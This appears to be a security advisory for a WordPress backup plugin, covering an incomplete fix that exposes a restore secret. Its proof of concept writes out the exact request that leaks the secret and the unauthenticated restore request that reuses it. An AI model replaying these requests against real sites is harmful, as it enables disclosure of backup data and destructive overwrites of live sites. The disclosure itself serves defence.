Total Upkeep < 1.17.3 – Unauthenticated Sensitive Data Disclosure and Forced Site Restore via Predictable cron_secret | CVE 2026-16253

Description

The plugin does not adequately protect the secret that authorizes its backup-restore functionality and exposes it to unauthenticated users, allowing them to disclose sensitive backup information and to force a full site restore that overwrites the live site's files and database. This is an incomplete fix of CVE-2020-36848, as the protection added at the time never took effect on distributed copies of the plugin.

Note that updating to 1.17.3 does not replace a secret that was already exposed, so a site that ran an affected version with a backup present stays at risk until its stored secret is reset.

Proof of Concept

Precondition: a backup exists (the default "Backup Site Now"/scheduled backup is a full backup, which writes the results file; an unauthenticated attacker can also trigger `boldgrid_backup_run_backup` once the secret is known).

**Step 1 — leak the secret (HTTP 200, no auth):**
```
GET /wp-content/plugins/boldgrid-backup/cron/restore-info-00f74d2ccd559851e25eb4185b0b85b9.json
```
Response (200, `application/json`):
```json
{"ABSPATH":"…/public/","archive_key":0,
 "cron_secret":"9cc4c6cfb434471713b7ec07f1b3d6d51c04f2623801efb11e98b5da7a5509f3",
 "filepath":"…/boldgrid-backup-test1.local-93ddef97-20260718-120140.zip",
 "siteurl":"https://test1.local","site_title":"test1",
 "restore_cmd":"… id=93ddef97 secret=9cc4c6cf…09f3 archive_key=0 archive_filename=…zip …"}
```

**Step 2 — replay the leaked `id` + `secret` to force a restore (no auth):**
```
POST /wp-admin/admin-ajax.php?action=boldgrid_backup_run_restore&id=93ddef97&secret=9cc4c6cf…09f3
Body: restore_now=1   (+ archive_key / archive_filename from the leaked JSON)
```

**Validated accept-vs-reject (proves the secret is the only gate):**
- Wrong secret → `Error: Invalid request.` (rejected by `is_valid_call()`).
- Correct **leaked** secret → request **accepted past the auth gate** and the restore proceeds.